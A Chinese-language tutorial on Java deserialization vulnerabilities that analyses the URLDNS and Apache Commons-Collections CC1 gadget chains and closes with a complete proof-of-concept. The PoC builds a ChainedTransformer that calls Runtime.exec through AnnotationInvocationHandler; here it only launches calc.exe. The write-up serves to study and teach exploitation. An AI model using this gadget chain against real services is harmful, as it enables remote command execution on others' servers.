1、序列化的實現
java序列化的是對象屬性的,只有實現了Serializable或者Externalizable接口的類的對象才能被序列化為字節序列。(不是則會拋出異常),靜態成員變量是屬于類的,所以靜態成員變量是不能被序列化的,被transient 標識的對象成員變量不參與序列化。
2、重寫readObject方法的原因
java.lang.Object
└── java.io.InputStream
└── java.io.ObjectInputStream
重寫(Override)是指子類定義了一個與其父類中具有相同名稱、參數列表和返回類型的方法,并且子類方法的實現覆蓋了父類方法的實現。重寫好處在于可以根據父類已有的方法選擇性去的重寫,比如父類有a,b,c,readobject()這四個方法,但是你只希望使用readObject()方法進行重寫,你就可以只重寫readObject()方法。
3、Java反序列化漏洞條件
共同條件繼承Serializable
入口類:因為反序列化一定會調用readObject()方法,所以可以把readObject()當做反序列化的入口,所以我們要找一個類作為入口類,這個類必須繼承Serializable,然后重寫readObject,重寫的這個readObject最好調用常見的函數,參數類型寬泛(Object 類最寬泛,接口類例如HashMap隨便存放各種參數),最好是JDK自帶的類(這里是因為要對方的服務器上也存在這個類才可以)
調用鏈:gadget chain 相同名稱,相同類型
執行類:(rce ssrf寫文件等)最重要
URLDNS鏈分析
思路:URL這個類有解析DNS的的方法,通過調用類中的hashCode里的getHostAddress(u);方法可以直接解析dns,若想通過構造惡意類來攻擊目標服務器實現DNS解析,可以考慮此方法。但是反序列化一定會調用的是readObjet()方法,也就是上面提到的readObject()當做反序列化的入口,所以我們要找一個類作為入口類,這個類必須繼承Serializable,然后重寫readObject。這里如果你想到用URL類下自帶的readObject方法,這個入口選擇是錯誤的,如下圖所示。
從圖中我們可以看出,URL類中的readObject并無可以進一步利用的函數“常見的函數,參數類型寬泛(Object 類最寬泛,接口類,例如HashMap隨便存放各種參數)”因此我們就想找其他類作為入口,中間如果有相同名稱,相同類型可以構造調用鏈來解決。去找新的入口類調用hashCode方法,發現HashMap類下有有一個hash函數調用了hashCode,并且右鍵hash查找用法發現了readObject,構造鏈已經確定。HashMap——>readObject()——>hash()——>hashcode()
POC
一開始是這樣寫的如下圖如
debug發現,序列化的時候就會解析DNS,原因是因為URL里的hashCode會默認hashCode=-1,導致進去hashCode去解析DNS。
但是在反序列化的時候我們給URL之前默認給的值是1,這樣URL下的hashCode方法就不會去執行調用handler.hashCode去解析DNS,導致我們構造的惡意類無用。因此考慮在調用hhandler.hashCode之前把hashCode改為1,然后再反序列化之前再把hashCode改為-1。
CC1鏈分析
首先找到Transform這個接口類看他的實現方法有哪些
在InvokerTransformer類調用的transform方法發現此方法的類,參數類型,值都是可控的類似于后門,可以創建實現任意類,這里我們把他當做sink
進一步查找有無通過readObject方法調用transform方法的,找不到,因此找中間方法,找到了TransformedMap類下的checksetvalue方法調用了transform
valueTransformer.transform(value);這里簡單分析一下,當valueTransformer=InvokerTransformer
value=Runtime.class,便可實現命令執行。
這里通過valueTransformer構造方法傳參
繼續去找調用了checkSetValue方法的類,在這個AbstractInputCheckedMapDecorator抽象類下的靜態類MapEntry調用了setValue
這里我們可以發現
MapEntry extends AbstractMapEntryDecorator
public abstract class AbstractMapEntryDecorator implements Map.Entry, KeyValue
Map.Entry還是接口類
知識點:接口類必須被實現,抽象類的方法只能由子類實現
所以調用MapEntry類中的setValu方法其實調用的是MapEntry下的setValue()
然后再次去尋找那個類下的readObject()方法調用了setValue()方法,在AnnotationInvocationHandler下發現了readObject方法并且調用了setValue()
下圖是根據以上調用鏈條寫的POC
這里進入調用setValue()首先要滿足兩個if條件
這是
在調試代碼的時候發現我們傳入的memberTypes為空
通過此行代碼可以發現
Class<?> memberType = memberTypes.get(name);
他是從傳入的mmberType通過get方法查找有無對應的參數
下圖我們可以看到Override類里并沒有方法調用所以我們這里考慮換一個有調用方法的類
這個地方把key改成value
調試代碼顯示memberType已經不為空了
然后在想如何繞過第二個if
這里就要利用到了Transformer接口實現的另一個類ConstantTransformer,它實現了transform方法無論輸入對象是什么,他都會返回參數構造中的固定值
但是你會發現,你不僅要調用創建InvokerTransformer,還要調用創建ConstantTransformer,如何解決這個問題呢,這時候利益用到了Transformer接口實現的另一個類ChainedTransformer他的transform方法是一個遞歸調用transfrom方法正合適可以拿來給我們使用
調用setvalue方法你會發現傳入的參數是無效的參數,這時候就巧妙地用到了constantTransformer.transform() 方法,因為這個方法不管參數是什么,他最終都只會返回 iConstant 對象,我們把這個類里的 iConstant 賦值為 Runtime 對象,就可以使鏈條閉環
同時這里還有一個問題,Runtime類沒有繼承Serializable,所以要通過反射來實現,這里想到InvokerTransformer的transform可以實現任意類因此通過此方法實現Runtime類來實現命令執行
最后測試
成功
完整POC
package com.example.fastjson122.demos.web;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;public class TestCC1 {public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {//Runtime.getRuntime().exec("calc");Runtime r=Runtime.getRuntime();
// Class c=Runtime.class;
// Method execMethod=c.getMethod("exec",String.class);
// execMethod.invoke(r,"calc");Transformer[] transformer=new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})};ChainedTransformer chainedTransformer=new ChainedTransformer(transformer);//Transformer transformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});HashMap<Object,Object> map=new HashMap<>();map.put("value","value");Map<Object,Object> transformedmap=TransformedMap.decorate(map,null,chainedTransformer);//transformedmap.put(1,Runtime.getRuntime());
// for(Map.Entry entry:transformedmap.entrySet()){
// entry.setValue(r);
// }Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor annConstructor=c.getDeclaredConstructor(Class.class,Map.class);annConstructor.setAccessible(true);Object o=annConstructor.newInstance(Target.class,transformedmap);serialize(o);unserialize("ser.bin");}public static void serialize(Object obj) throws IOException {ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));Object obj=ois.readObject();return obj;}}